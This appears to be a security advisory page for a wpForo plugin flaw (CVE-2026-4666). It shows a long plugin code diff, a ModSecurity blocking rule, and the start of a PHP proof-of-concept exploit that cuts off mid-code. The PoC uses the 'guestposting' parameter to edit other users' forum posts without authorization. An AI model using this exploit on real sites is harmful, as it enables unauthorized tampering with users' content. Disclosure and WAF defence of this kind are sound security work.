+	<nav class="nav-tab-wrapper wpforo-ai-tabs">
+		<?php foreach ( $tabs as $tab_key => $tab_label ) : ?>
+			<?php
+			$tab_url = add_query_arg( array(
+				'page' => 'wpforo-ai',
+				'tab'  => $tab_key,
+			), admin_url( 'admin.php' ) );
+			$active_class = ( $current_tab === $tab_key ) ? 'nav-tab-active' : '';
+			?>
+			<a href="<?php echo esc_url( $tab_url ); ?>" class="nav-tab <?php echo esc_attr( $active_class ); ?>">
+				<?php echo esc_html( $tab_label ); ?>
+			</a>
+		<?php endforeach; ?>
+
+		<?php
+		// AI Settings tab - links to board settings pages
+		// Only show when subscription is active (not expired, inactive, etc.)
+		$show_settings_tab = $is_connected && in_array( $current_state, [ 'free_trial', 'paid_plan' ], true );
+		?>
+		<?php if ( $show_settings_tab && $is_multiboard ) : ?>
+			<span class="nav-tab wpforo-ai-settings-tab">
+                <span style="color: #000;"><?php _e( 'AI Settings', 'wpforo' ); ?></span>
+				[ <?php
+				$board_links = [];
+				foreach ( $all_boards as $board ) {
+					$boardid = (int) $board['boardid'];
+					// Build settings page URL: wpforo-settings for board 0, wpforo-{id}-settings for others
+					$settings_page = ( $boardid === 0 ) ? 'wpforo-settings' : 'wpforo-' . $boardid . '-settings';
+					$settings_url = admin_url( 'admin.php?page=' . $settings_page . '&wpf_tab=ai#wpf-settings-tab');
+					$board_links[] = sprintf(
+						'<a href="%s">%s</a>',
+						esc_url( $settings_url ),
+						esc_html( $board['title'] )
+					);
+				}
+				echo implode( ' | ', $board_links );
+				?> ]
+			</span>
+		<?php elseif ( $show_settings_tab ) : ?>
+			<?php
+			// Single board - direct link to settings
+			$settings_url = admin_url( 'admin.php?page=wpforo-settings&wpf_tab=ai#wpf-settings-tab' );
+			?>
+			<a href="<?php echo esc_url( $settings_url ); ?>" class="nav-tab wpforo-ai-settings-tab" style="cursor: pointer; display: flex; justify-content: center; align-items: center; gap: 7px;">
+                <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="18" height="18" fill="currentColor"><path d="M12,8a4,4,0,1,0,4,4A4,4,0,0,0,12,8Zm0,6a2,2,0,1,1,2-2A2,2,0,0,1,12,14Z"></path><path d="M21.294,13.9l-.444-.256a9.1,9.1,0,0,0,0-3.29l.444-.256a3,3,0,1,0-3-5.2l-.445.257A8.977,8.977,0,0,0,15,3.513V3A3,3,0,0,0,9,3v.513A8.977,8.977,0,0,0,6.152,5.159L5.705,4.9a3,3,0,0,0-3,5.2l.444.256a9.1,9.1,0,0,0,0,3.29l-.444.256a3,3,0,1,0,3,5.2l.445-.257A8.977,8.977,0,0,0,9,20.487V21a3,3,0,0,0,6,0v-.513a8.977,8.977,0,0,0,2.848-1.646l.447.258a3,3,0,0,0,3-5.2Zm-2.548-3.776a7.048,7.048,0,0,1,0,3.75,1,1,0,0,0,.464,1.133l1.084.626a1,1,0,0,1-1,1.733l-1.086-.628a1,1,0,0,0-1.215.165,6.984,6.984,0,0,1-3.243,1.875,1,1,0,0,0-.751.969V21a1,1,0,0,1-2,0V19.748a1,1,0,0,0-.751-.969A6.984,6.984,0,0,1,7.006,16.9a1,1,0,0,0-1.215-.165l-1.084.627a1,1,0,1,1-1-1.732l1.084-.626a1,1,0,0,0,.464-1.133,7.048,7.048,0,0,1,0-3.75A1,1,0,0,0,4.79,8.992L3.706,8.366a1,1,0,0,1,1-1.733l1.086.628A1,1,0,0,0,7.006,7.1a6.984,6.984,0,0,1,3.243-1.875A1,1,0,0,0,11,4.252V3a1,1,0,0,1,2,0V4.252a1,1,0,0,0,.751.969A6.984,6.984,0,0,1,16.994,7.1a1,1,0,0,0,1.215.165l1.084-.627a1,1,0,1,1,1,1.732l-1.084.626A1,1,0,0,0,18.746,10.125Z"></path></svg>
+				<?php _e( 'AI Settings', 'wpforo' ); ?>
+			</a>
+		<?php endif; ?>
+	</nav>
+
+	<!-- Tab Content -->
+	<div class="wpforo-ai-tab-content">
+		<?php
+		switch ( $current_tab ) {
+			case 'rag_indexing':
+				wpforo_ai_render_rag_indexing_tab( $is_connected, $status );
+				break;
+
+			case 'ai_tasks':
+				wpforo_ai_render_ai_tasks_tab( $is_connected, $status );
+				break;
+
+			case 'analytics':
+				wpforo_ai_render_analytics_tab( $is_connected, $status );
+				break;
+
+			case 'ai_logs':
+				wpforo_ai_render_ai_logs_tab( $is_connected, $status );
+				break;
+
+			case 'overview':
+			default:
+				// Display appropriate state
+				switch ( $current_state ) {
+					case 'not_connected':
+						wpforo_ai_render_not_connected_state();
+						break;
+
+					case 'pending_approval':
+						wpforo_ai_render_pending_approval_state( $status );
+						break;
+
+					case 'inactive':
+						wpforo_ai_render_inactive_state( $status );
+						break;
+
+					case 'free_trial':
+						wpforo_ai_render_free_trial_state( $status, $is_post_purchase );
+						break;
+
+					case 'paid_plan':
+						wpforo_ai_render_paid_plan_state( $status, $is_post_purchase );
+						break;
+
+					case 'expired':
+						wpforo_ai_render_expired_state( $status );
+						break;
+
+					case 'cancelled':
+						wpforo_ai_render_cancelled_state( $status );
+						break;
+
+					case 'error':
+						wpforo_ai_render_error_state( $connection_error ?? $status );
+						break;
+				}
+				break;
+		}
+		?>
+	</div>
+
+</div>
+
+<div style="margin-bottom: 150px;"> </div>
+
+<!-- Global JavaScript for all tabs -->
+<script type="text/javascript">
+	jQuery(document).ready(function($) {
+		// Set AJAX nonce (ai-features.js will call init() automatically)
+		if (typeof window.WpForoAI !== 'undefined') {
+			WpForoAI.ajaxNonce = '<?php echo wp_create_nonce( 'wpforo_ai_features_nonce' ); ?>';
+		}
+
+		// Post-purchase notifications (works on all tabs)
+		<?php
+		$upgraded = isset( $_GET['upgraded'] ) && $_GET['upgraded'] == '1';
+		$credits_purchased = isset( $_GET['credits_purchased'] ) && $_GET['credits_purchased'] == '1';
+		$plan = isset( $_GET['plan'] ) ? sanitize_key( $_GET['plan'] ) : '';
+		$pack = isset( $_GET['pack'] ) ? sanitize_key( $_GET['pack'] ) : '';
+
+		if ( $upgraded || $credits_purchased ) {
+			// Clear status cache to force fresh fetch
+			delete_transient( 'wpforo_ai_tenant_status' );
+		}
+		?>
+
+		<?php if ( $upgraded ) : ?>
+			// Purchase detected - show processing message
+			// The checkPostPurchaseRefresh() function will auto-refresh after 60 seconds
+			if (typeof WpForoAI !== 'undefined' && typeof WpForoAI.showNotice === 'function') {
+				WpForoAI.showNotice('Processing your <?php echo esc_js( ucfirst( $plan ) ); ?> plan purchase... Page will refresh in 60 seconds.', 'info');
+			}
+		<?php endif; ?>
+
+		<?php if ( $credits_purchased ) : ?>
+			// Credit pack purchase detected
+			if (typeof WpForoAI !== 'undefined' && typeof WpForoAI.showNotice === 'function') {
+				WpForoAI.showNotice('Processing your <?php echo esc_js( $pack ); ?> credits purchase... Your credits will be added shortly.', 'info');
+			}
+		<?php endif; ?>
+
+		<?php
+		// Show success messages after plan activation or credits added
+		$plan_activated = isset( $_GET['plan_activated'] ) && $_GET['plan_activated'] == '1';
+		$credits_added = isset( $_GET['credits_added'] ) && $_GET['credits_added'] == '1';
+		?>
+
+		<?php if ( $plan_activated ) : ?>
+			// Plan successfully activated
+			if (typeof WpForoAI !== 'undefined' && typeof WpForoAI.showNotice === 'function') {
+				WpForoAI.showNotice('✓ Your subscription plan has been successfully activated!', 'success');
+			}
+		<?php endif; ?>
+
+		<?php if ( $credits_added ) : ?>
+			// Credits successfully added
+			if (typeof WpForoAI !== 'undefined' && typeof WpForoAI.showNotice === 'function') {
+				WpForoAI.showNotice('✓ Credits have been successfully added to your account!', 'success');
+			}
+		<?php endif; ?>
+	});
+</script>
--- a/wpforo/admin/pages/dashboard.php
+++ b/wpforo/admin/pages/dashboard.php
@@ -4,7 +4,7 @@
 ?>

 <div id="wpf-admin-wrap" class="wrap">
-    <h1 style="padding:30px 10px 10px;"><?php _e( 'Forum Dashboard', 'wpforo' ); ?></h1>
+    <h1 style="padding:10px 10px 0;"><?php _e( 'Forum Dashboard', 'wpforo' ); ?></h1>
 	<?php WPF()->notice->show() ?>

     <div id="dashboard-widgets-wrap">
--- a/wpforo/admin/pages/forum.php
+++ b/wpforo/admin/pages/forum.php
@@ -120,6 +120,7 @@
         }
         if( ! empty( $_GET['parentid'] ) ) $selected_forumid = $_GET['parentid'];
         $color = wpfval( $data, 'color' ) ? $data['color'] : wpforo_random_colors();
+        $is_boxed_layout = (int) wpfval( $data, 'layout' ) === 5;
         ?>
         <style type="text/css">
             #forum_layout .wpf-fl-box a:not(.wpf-lightbox) {
@@ -164,6 +165,8 @@
                 border: 1px solid #cccccc;
                 padding: 5px;
                 text-align: center;
+                display: flex;
+                flex-direction: column;
             }

             .wpf-fl-box h4 {
@@ -228,12 +231,20 @@
 					$('#wpfl-' + this.value).addClass('wpf-fl-active');
 				});
 				$('#use_us_cat').on('change', function () {
+					var isBoxedLayout = <?php echo $is_boxed_layout ? 'true' : 'false'; ?>;
 					if (!$(this).is(':checked')) {
-						$('#wpf_forum_cover_field').hide();
+						if (!isBoxedLayout) {
+							$('#wpf_forum_cover_field').hide();
+						}
+						// Show private topics option for non-category forums
+						$('#wpf-private-topics-option').show();
                         <?php if( wpfkey( $data, 'is_cat' ) && ! wpfval( $data, 'is_cat' ) ): ?>
 						$('.wpf-fl-box').removeClass('wpf-fl-active');
 						var wpf_layout = $('#wpf-current-layout').val();
 						$('#wpfl-' + wpf_layout).addClass('wpf-fl-active');
+                        <?php elseif( $is_boxed_layout ): ?>
+						$('.wpf-fl-box').removeClass('wpf-fl-active');
+						$('#wpfl-5').addClass('wpf-fl-active');
                         <?php else: ?>
 						$('.wpf-fl-box').removeClass('wpf-fl-active');
 						$('#forum_layout').hide();
@@ -244,6 +255,9 @@
 						var wpf_layout = $('#layout').find('option:selected').val();
 						$('#wpfl-' + wpf_layout).addClass('wpf-fl-active');
 						$('#forum_layout').show();
+						// Hide private topics option for categories (and uncheck it)
+						$('#wpf-private-topics-option').hide();
+						$('#make_topics_private').prop('checked', false);
 					}
 				});
 			});
@@ -376,6 +390,17 @@
                                         </div>
                                         <div style="clear: both"></div>
                                     </div>
+                                    <div id="wpf-private-topics-option" class="wpf-forum-additional-options" style="margin-top: 15px;<?php echo ( isset( $data['is_cat'] ) && $data['is_cat'] == 1 ) ? ' display: none;' : ''; ?>">
+                                        <p class="form-field" style="margin: 0;">
+                                            <label for="make_topics_private" style="cursor: pointer;">
+                                                <?php _e( 'Make All Topics Private', 'wpforo' ); ?>
+                                                <input id="make_topics_private" type="checkbox" name="forum[type]" value="ticket_forum" <?php echo ( wpfval( $data, 'type' ) === 'ticket_forum' ) ? 'checked' : ''; ?> />
+                                            </label>
+                                        </p>
+                                        <p class="description" style="margin: 5px 0 0 0; font-style: italic; color: #666;">
+                                            <?php _e( 'When enabled, all topics in this forum will be created as private by default. Users cannot make topics public.', 'wpforo' ); ?>
+                                        </p>
+                                    </div>
                                 </div>
                             </div>

@@ -386,7 +411,7 @@
                     <div id="postbox-container-2" class="postbox-container">
                         <div id="normal-sortables" class="meta-box-sortables ui-sortable">

-                            <div id="forum_layout" class="postbox" <?php if( ! wpfkey( $data, 'is_cat' ) ) echo 'style="display: none"'; ?>>
+                            <div id="forum_layout" class="postbox" <?php if( ! wpfkey( $data, 'is_cat' ) && ! $is_boxed_layout ) echo 'style="display: none"'; ?>>
                                 <h3 class="wpf-box-header">
                                         <span>
                                             <?php if( wpfkey( $data, 'is_cat' ) ): ?>
@@ -415,6 +440,7 @@
                                                             style="height: 100px;"/></a>
                                                 <a href="#_" class="wpf-lightbox" id="img1<?php echo intval( $layout['id'] ); ?>"><img
                                                             src="<?php echo WPFORO_URL ?>/themes/<?php echo esc_attr( $theme ) ?>/layouts/<?php echo intval( $layout['id'] ); ?>/view-forums.png"/></a>
+                                                <hr style="height: 1px; background-color: #666; width: 100%;" />
                                                 <a href="#img2<?php echo intval( $layout['id'] ); ?>"><img
                                                             src="<?php echo WPFORO_URL ?>/themes/<?php echo esc_attr( $theme ) ?>/layouts/<?php echo intval( $layout['id'] ); ?>/view-posts.png"
                                                             style="height: 100px;"/></a>
@@ -433,7 +459,7 @@
                                         ); ?></p>


-                                    <?php $show_cover_field = ! (int) wpfval( $data, 'forumid' ) || (int) wpfval( $data, 'is_cat' ); ?>
+                                    <?php $show_cover_field = ! (int) wpfval( $data, 'forumid' ) || (int) wpfval( $data, 'is_cat' ) || $is_boxed_layout; ?>
                                     <div id="wpf_forum_cover_field" style="padding: 10px; <?php echo( $show_cover_field ? 'display: block' : 'display: none' ) ?>">
                                         <h3 style="font-size: 15px;"><?php _e( 'Category Cover Image', 'wpforo' ) ?></h3>
                                         <div id="wpf-forum-cover" style="background-image: url('<?php echo esc_url_raw( (string) wpfval( $data, 'cover_url' ) ) ?>')">
--- a/wpforo/admin/pages/legal/privacy-policy.php
+++ b/wpforo/admin/pages/legal/privacy-policy.php
@@ -0,0 +1,564 @@
+<?php
+/**
+ * wpForo AI Features - Privacy Policy
+ *
+ * This document describes how we collect, use, and protect your data.
+ * Last updated: March 2026
+ *
+ * @since 3.0.0
+ */
+
+if( ! defined( 'ABSPATH' ) ) exit;
+?>
+
+<div class="wpforo-ai-legal-document">
+    <h1>wpForo AI Features - Privacy Policy</h1>
+    <p class="wpforo-ai-legal-updated"><strong>Last Updated:</strong> March 23, 2026</p>
+    <p class="wpforo-ai-legal-updated"><strong>Effective Date:</strong> March 23, 2026</p>
+
+    <div class="wpforo-ai-legal-toc">
+        <h3>Table of Contents</h3>
+        <ol>
+            <li><a href="#introduction">Introduction</a></li>
+            <li><a href="#definitions">Definitions</a></li>
+            <li><a href="#data-controller">Data Controller and Processor Roles</a></li>
+            <li><a href="#local-data">Data Stored Locally (Your Server)</a></li>
+            <li><a href="#cloud-data">Data Processed in the Cloud</a></li>
+            <li><a href="#how-we-use">How We Use Your Data</a></li>
+            <li><a href="#ai-processing">AI and Machine Learning Processing</a></li>
+            <li><a href="#data-sharing">Data Sharing and Third Parties</a></li>
+            <li><a href="#data-retention">Data Retention</a></li>
+            <li><a href="#data-security">Data Security</a></li>
+            <li><a href="#your-rights">Your Rights</a></li>
+            <li><a href="#international">International Data Transfers</a></li>
+            <li><a href="#children">Children's Privacy</a></li>
+            <li><a href="#changes">Changes to This Policy</a></li>
+            <li><a href="#contact">Contact Us</a></li>
+        </ol>
+    </div>
+
+    <hr>
+
+    <h2 id="introduction">1. Introduction</h2>
+    <p>wpForo AI features are provided by <a href="https://v3.wpforo.com/gvectors-ai/" target="_blank">gVectors AI</a>. This Privacy Policy explains how gVectors Team ("we", "us", "our") collects, uses, stores, and protects information when you use the wpForo AI Features service ("Service").</p>
+    <p>By using the Service, you agree to the collection and use of information as described in this Privacy Policy. This policy should be read in conjunction with our Terms of Service.</p>
+    <p><strong>Important:</strong> This Privacy Policy covers data processed by our Service. As a forum operator, you are responsible for your own privacy policy that governs how you collect and process your forum users' data.</p>
+
+    <h2 id="definitions">2. Definitions</h2>
+    <ul>
+        <li><strong>"Personal Data"</strong> means any information relating to an identified or identifiable natural person.</li>
+        <li><strong>"Forum Content"</strong> means topics, posts, replies, and other content created by users on your forum.</li>
+        <li><strong>"Vector Embeddings"</strong> means mathematical representations of text content used for semantic search.</li>
+        <li><strong>"Customer"</strong> means the forum administrator who registers for and uses the Service.</li>
+        <li><strong>"End Users"</strong> means visitors and registered users of your forum.</li>
+        <li><strong>"Processing"</strong> means any operation performed on data, including collection, storage, and deletion.</li>
+    </ul>
+
+    <h2 id="data-controller">3. Data Controller and Processor Roles</h2>
+
+    <h3>3.1 Your Role as Data Controller</h3>
+    <p>As the forum operator, <strong>you are the Data Controller</strong> for:</p>
+    <ul>
+        <li>Your forum users' personal data</li>
+        <li>Forum content created by your users</li>
+        <li>Decisions about what data to index and process</li>
+    </ul>
+    <p>You are responsible for:</p>
+    <ul>
+        <li>Obtaining necessary consents from your forum users</li>
+        <li>Updating your own privacy policy to disclose use of AI services</li>
+        <li>Responding to your users' data subject requests</li>
+        <li>Ensuring lawful basis for processing forum content</li>
+    </ul>
+
+    <h3>3.2 Our Role as Data Processor</h3>
+    <p>gVectors Team (through <a href="https://v3.wpforo.com/gvectors-ai/" target="_blank">gVectors AI</a>) acts as a <strong>Data Processor</strong> for forum content you submit to the Service. We:</p>
+    <ul>
+        <li>Process data only according to your instructions (indexing requests)</li>
+        <li>Implement appropriate security measures</li>
+        <li>Assist you in responding to data subject requests</li>
+        <li>Delete data upon your request or service termination</li>
+    </ul>
+
+    <h3>3.3 Our Role as Data Controller</h3>
+    <p>We are the <strong>Data Controller</strong> for:</p>
+    <ul>
+        <li>Your account information (email, site URL)</li>
+        <li>Billing and subscription data</li>
+        <li>Service usage analytics</li>
+        <li>Technical logs and operational data</li>
+    </ul>
+
+    <h2 id="local-data">4. Data Stored Locally (Your Server)</h2>
+    <p><strong>The following data is stored only on your WordPress server and is NOT transmitted to our cloud services:</strong></p>
+
+    <h3>4.1 Plugin Configuration</h3>
+    <ul>
+        <li>Feature enable/disable settings</li>
+        <li>Display preferences and customizations</li>
+        <li>Search result formatting options</li>
+    </ul>
+
+    <h3>4.2 Credentials (Encrypted)</h3>
+    <ul>
+        <li>API key (stored encrypted in WordPress database)</li>
+        <li>Tenant ID</li>
+        <li>Connection status</li>
+    </ul>
+
+    <h3>4.3 Cache Data</h3>
+    <ul>
+        <li>Temporary search results cache</li>
+        <li>Performance optimization data</li>
+    </ul>
+
+    <h3>4.4 Your Control Over Local Data</h3>
+    <p>You have complete control over locally stored data:</p>
+    <ul>
+        <li>Delete via plugin settings at any time</li>
+        <li>Included in standard WordPress backup procedures</li>
+        <li>Subject to your server's security measures</li>
+        <li>Never shared with us without explicit API calls</li>
+    </ul>
+
+    <h2 id="cloud-data">5. Data Processed in the Cloud</h2>
+    <p><strong>IMPORTANT: The following data IS transmitted to and processed by our cloud infrastructure when you use the Service.</strong></p>
+
+    <h3>5.1 Forum Content Data</h3>
+    <table class="wpforo-ai-legal-table">
+        <thead>
+            <tr>
+                <th>Data Type</th>
+                <th>Examples</th>
+                <th>Purpose</th>
+            </tr>
+        </thead>
+        <tbody>
+            <tr>
+                <td>Topic Content</td>
+                <td>Titles, descriptions, body text</td>
+                <td>Indexing for semantic search</td>
+            </tr>
+            <tr>
+                <td>Replies</td>
+                <td>User responses, comments</td>
+                <td>Indexing for semantic search</td>
+            </tr>
+            <tr>
+                <td>Metadata</td>
+                <td>Post IDs, timestamps, forum categories</td>
+                <td>Result organization and filtering</td>
+            </tr>
+            <tr>
+                <td>Status Flags</td>
+                <td>Solved, best answer, closed</td>
+                <td>Search result ranking</td>
+            </tr>
+        </tbody>
+    </table>
+
+    <h3>5.2 Account Information</h3>
+    <table class="wpforo-ai-legal-table">
+        <thead>
+            <tr>
+                <th>Data Type</th>
+                <th>Examples</th>
+                <th>Purpose</th>
+            </tr>
+        </thead>
+        <tbody>
+            <tr>
+                <td>Administrator Email</td>
+                <td>admin@yourforum.com</td>
+                <td>Account identification, notifications</td>
+            </tr>
+            <tr>
+                <td>Site URL</td>
+                <td>https://yourforum.com</td>
+                <td>Origin validation, tenant identification</td>
+            </tr>
+            <tr>
+                <td>Software Versions</td>
+                <td>WordPress 6+, wpForo 3+</td>
+                <td>Compatibility and support</td>
+            </tr>
+        </tbody>
+    </table>
+
+    <h3>5.3 Search Query Data</h3>
+    <table class="wpforo-ai-legal-table">
+        <thead>
+            <tr>
+                <th>Data Type</th>
+                <th>Examples</th>
+                <th>Purpose</th>
+            </tr>
+        </thead>
+        <tbody>
+            <tr>
+                <td>Search Queries</td>
+                <td>"how to configure email notifications"</td>
+                <td>Processing search requests</td>
+            </tr>
+            <tr>
+                <td>Query Metadata</td>
+                <td>Timestamp, results count</td>
+                <td>Analytics and billing</td>
+            </tr>
+        </tbody>
+    </table>
+
+    <h3>5.4 Usage and Billing Data</h3>
+    <table class="wpforo-ai-legal-table">
+        <thead>
+            <tr>
+                <th>Data Type</th>
+                <th>Examples</th>
+                <th>Purpose</th>
+            </tr>
+        </thead>
+        <tbody>
+            <tr>
+                <td>Credit Usage</td>
+                <td>Credits consumed per operation</td>
+                <td>Billing and limits enforcement</td>
+            </tr>
+            <tr>
+                <td>API Calls</td>
+                <td>Request counts, endpoints accessed</td>
+                <td>Usage analytics, troubleshooting</td>
+            </tr>
+            <tr>
+                <td>Subscription Status</td>
+                <td>Plan type, expiration date</td>
+                <td>Service access control</td>
+            </tr>
+        </tbody>
+    </table>
+
+    <h2 id="how-we-use">6. How We Use Your Data</h2>
+
+    <h3>6.1 Primary Purposes</h3>
+    <ul>
+        <li><strong>Providing the Service:</strong> Processing forum content to enable semantic search</li>
+        <li><strong>AI Features:</strong> Powering topic suggestions, related content, and search</li>
+        <li><strong>Account Management:</strong> Managing your subscription and authentication</li>
+        <li><strong>Billing:</strong> Tracking usage and processing payments</li>
+    </ul>
+
+    <h3>6.2 Operational Purposes</h3>
+    <ul>
+        <li><strong>Service Improvement:</strong> Analyzing aggregated usage patterns</li>
+        <li><strong>Technical Support:</strong> Diagnosing issues when you contact support</li>
+        <li><strong>Security:</strong> Detecting and preventing abuse or unauthorized access</li>
+        <li><strong>Legal Compliance:</strong> Meeting legal obligations</li>
+    </ul>
+
+    <h3>6.3 What We Do NOT Do</h3>
+    <ul>
+        <li style="color: #1e7e34">Sell your data to third parties</li>
+        <li style="color: #1e7e34">Use your forum content for advertising</li>
+        <li style="color: #1e7e34">Share your data with other customers</li>
+        <li style="color: #1e7e34">Train our own AI models on your specific content (without explicit consent)</li>
+        <li style="color: #1e7e34">Access your content except as needed to provide the Service</li>
+    </ul>
+
+    <h2 id="ai-processing">7. AI and Machine Learning Processing</h2>
+
+    <h3>7.1 AI Services Used</h3>
+    <p>Your forum content is processed using the following AI technologies:</p>
+
+    <h4>Amazon Bedrock</h4>
+    <ul>
+        <li><strong>Purpose:</strong> Managed AI/ML service for text embeddings</li>
+        <li><strong>Data Handling:</strong> Content processed in real-time; not stored by Amazon Bedrock</li>
+        <li><strong>Privacy:</strong> Subject to <a href="https://aws.amazon.com/bedrock/faqs/" target="_blank" rel="noopener">AWS Bedrock privacy practices</a></li>
+    </ul>
+
+    <h4>Amazon Nova Models</h4>
+    <ul>
+        <li><strong>Purpose:</strong> Foundation models for semantic understanding</li>
+        <li><strong>Data Handling:</strong> Content processed temporarily for embedding generation</li>
+        <li><strong>Training:</strong> Your content is NOT used to train Nova models</li>
+    </ul>
+
+    <h4>Anthropic Claude (via Bedrock)</h4>
+    <ul>
+        <li><strong>Purpose:</strong> Advanced language understanding for AI features</li>
+        <li><strong>Data Handling:</strong> Content processed temporarily; not stored by Anthropic</li>
+        <li><strong>Training:</strong> Your content is NOT used to train Claude models (API usage)</li>
+    </ul>
+
+    <h3>7.2 Vector Embeddings</h3>
+    <p>When we process your forum content:</p>
+    <ol>
+        <li>Text is converted into numerical vectors (by Amazon embedding models)</li>
+        <li>Original text is NOT stored in the vector database</li>
+        <li>Vectors capture semantic meaning but cannot be reversed to original text</li>
+        <li>Metadata (IDs, timestamps) is stored alongside vectors for result retrieval</li>
+    </ol>
+
+    <h3>7.3 AI Processing Limitations</h3>
+    <p>We commit to:</p>
+    <ul>
+        <li style="color: #1e7e34">Using AI only for providing Service features</li>
+        <li style="color: #1e7e34">Not using your content to train proprietary models</li>
+        <li style="color: #1e7e34">Not sharing your content with AI providers beyond processing needs</li>
+        <li style="color: #1e7e34">Providing transparency about AI processing methods</li>
+    </ul>
+
+    <h2 id="data-sharing">8. Data Sharing and Third Parties</h2>
+
+    <h3>8.1 Service Providers (Sub-processors)</h3>
+    <p>We share data with the following service providers who process data on our behalf:</p>
+
+    <table class="wpforo-ai-legal-table">
+        <thead>
+            <tr>
+                <th>Provider</th>
+                <th>Purpose</th>
+                <th>Data Shared</th>
+                <th>Location</th>
+            </tr>
+        </thead>
+        <tbody>
+            <tr>
+                <td>Amazon Web Services (AWS)</td>
+                <td>Cloud infrastructure, AI processing</td>
+                <td>All cloud-processed data</td>
+                <td>United States (us-east-1) / Can be changed for customers with Enterprise Subscription Plan</td>
+            </tr>
+            <tr>
+                <td>Amazon Bedrock</td>
+                <td>AI embedding generation</td>
+                <td>Forum content (temporary)</td>
+                <td>United States</td>
+            </tr>
+            <tr>
+                <td>Freemius</td>
+                <td>Payment processing</td>
+                <td>Email, site URL, billing info</td>
+                <td>Israel/United States</td>
+            </tr>
+            <tr>
+                <td>Paddle</td>
+                <td>Payment processing (Merchant of Record)</td>
+                <td>Email, site URL, billing info</td>
+                <td>United Kingdom/United States</td>
+            </tr>
+        </tbody>
+    </table>
+
+    <h3>8.2 Legal Requirements</h3>
+    <p>We may disclose data when required by:</p>
+    <ul>
+        <li>Valid legal process (court order, subpoena)</li>
+        <li>Law enforcement requests with proper authority</li>
+        <li>Protection of our rights, property, or safety</li>
+        <li>Emergency situations involving potential harm</li>
+    </ul>
+
+    <h3>8.3 Business Transfers</h3>
+    <p>In case of merger, acquisition, or sale of assets:</p>
+    <ul>
+        <li>Your data may be transferred to the acquiring entity</li>
+        <li>You will be notified of any such transfer</li>
+        <li>This Privacy Policy will continue to apply until you are notified otherwise</li>
+    </ul>
+
+    <h3>8.4 No Sale of Personal Data</h3>
+    <p style="color: #1e7e34">We do NOT sell, rent, or trade your personal data or forum content to any third parties for their marketing purposes.</p>
+
+    <h2 id="data-retention">9. Data Retention</h2>
+
+    <h3>9.1 Retention Periods</h3>
+    <table class="wpforo-ai-legal-table">
+        <thead>
+            <tr>
+                <th>Data Type</th>
+                <th>Retention Period</th>
+                <th>Deletion Method</th>
+            </tr>
+        </thead>
+        <tbody>
+            <tr>
+                <td>Vector Embeddings</td>
+                <td>Until deletion request or account termination</td>
+                <td>Automatic on disconnect + 30 days</td>
+            </tr>
+            <tr>
+                <td>Account Information</td>
+                <td>Duration of subscription + 30 days</td>
+                <td>Automatic after grace period</td>
+            </tr>
+            <tr>
+                <td>API Logs</td>
+                <td>90 days</td>
+                <td>Automatic TTL deletion</td>
+            </tr>
+            <tr>
+                <td>Usage Analytics</td>
+                <td>90 days</td>
+                <td>Automatic TTL deletion</td>
+            </tr>
+            <tr>
+                <td>Billing Records</td>
+                <td>7 years (legal requirement)</td>
+                <td>Manual after legal period</td>
+            </tr>
+            <tr>
+                <td>Support Tickets</td>
+                <td>2 years after resolution</td>
+                <td>Manual review and deletion</td>
+            </tr>
+        </tbody>
+    </table>
+
+    <h3>9.2 Deletion Upon Request</h3>
+    <p>You can request immediate deletion of your data:</p>
+    <ul>
+        <li><strong>Forum Content:</strong> Use "Clear All Indexed Data" in plugin settings</li>
+        <li><strong>Account Data:</strong> Disconnect and request full deletion via support</li>
+        <li><strong>All Data:</strong> Contact support for complete data erasure</li>
+    </ul>
+
+    <h3>9.3 Post-Termination</h3>
+    <ul>
+        <li>30-day grace period for reactivation</li>
+        <li>After 30 days: Permanent deletion of all cloud data</li>
+        <li>Billing records retained as legally required</li>
+        <li>Aggregated, anonymized statistics may be retained</li>
+    </ul>
+
+    <h2 id="data-security">10. Data Security</h2>
+
+    <h3>10.1 Technical Measures</h3>
+    <ul>
+        <li><strong>Encryption in Transit:</strong> TLS 1.2+ for all communications</li>
+        <li><strong>Encryption at Rest:</strong> AES-256 encryption for all stored data</li>
+        <li><strong>Access Control:</strong> IAM-based least-privilege access</li>
+        <li><strong>Network Security:</strong> AWS VPC isolation, security groups</li>
+        <li><strong>API 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4666
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264666,phase:2,deny,status:403,chain,msg:'CVE-2026-4666 wpForo unauthorized post edit via guestposting parameter',severity:'CRITICAL',tag:'CVE-2026-4666',tag:'wpforo',tag:'unauthorized-access'"
  SecRule ARGS_POST:action "@streq wpforo_post_edit" "chain"
    SecRule ARGS_POST:post.guestposting "@streq 1" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4666 - wpForo Forum <= 2.4.16 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Forum Post Modification via 'guestposting' Parameter

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$nonce = 'YOUR_VALID_NONCE_HERE'; // Obtain from a forum page (wpforo_verify_form)
$cookie = 'wordpress_logged_in_cookie=YOUR_COOKIE'; // Authenticated Subscriber+ session

// Target post ID to modify
$post_id = 123;

$post_data = array(
    'action' => 'wpforo_post_edit',
    'post' => array(
        'postid' => $post_id,
        'guestposting' => 1, // This overwrites the variable and skips permission checks
        'title' => 'Hacked Title',
